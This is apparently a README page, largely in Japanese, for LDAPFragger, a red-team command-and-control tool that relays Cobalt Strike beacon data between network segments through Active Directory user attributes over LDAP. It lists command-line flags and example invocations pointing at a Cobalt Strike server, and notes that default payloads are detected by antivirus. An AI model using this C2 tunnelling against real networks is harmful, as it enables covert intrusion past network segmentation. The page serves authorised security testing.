LDAPFragger

LDAPFraggerは、攻撃者がCobalt StrikeのビーコンデータをLDAP経由でユーザー属性を使用してルーティングできるようにするCommand and Controlツールです。

背景情報については、リリースブログをお読みください: http://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes

依存関係とインストール

.NET 4.0でコンパイルされていますが、古い/新しい.NETフレームワークでも動作する可能性があります。

使用方法

 _     _              __
| |   | |            / _|
| | __| | __ _ _ __ | |_ _ __ __ _  __ _  __ _  ___ _ __
| |/ _` |/ _` | '_ \|  _| '__/ _` |/ _` |/ _` |/ _ \ '__|
| | (_| | (_| | |_) | | | | | (_| | (_| | (_| |  __/ |
|_|\__,_|\__,_| .__/|_| |_|  \__,_|\__, |\__, |\___|_|
              | |                   __/ | __/ |
              |_|                  |___/ |___/

Fox-IT - Rindert Kramer

Usage:
     --cshost:  IP address or hostname of the Cobalt Strike instance
     --csport:  Port of the external C2 interface on the Cobalt Strike server
     -u:        Username to connect to Active Directory
     -p:        Password to connect to Active Directory
     -d:        FQDN of the Active Directory domain
     --ldaps:   Use LDAPS instead of LDAP
     -v:        Verbose output
     -h:        Display  this message

If no AD credentials are provided, integrated AD authentication will be used.

使用例:

ネットワークセグメントAから、以下を実行します

LDAPFragger --cshost <Cobalt Strike IP> --csport <External listener port>

LDAPFragger --cshost <Cobalt Strike IP> --csport <External listener port> -u <username> -p <password> -d <domain FQDN>

ネットワークセグメントBから、以下を実行します

LDAPFragger 

LDAPFragger -u <username> -p <password> -d <domain FQDN>

LDAPSは--LDAPSフラグで使用できますが、通常のLDAPトラフィックも暗号化されます。デフォルトのCobalt StrikeペイロードはほとんどのAVに検出されることに注意してください。

LDAPFragger

人気

LDAPFragger

依存関係とインストール

使用方法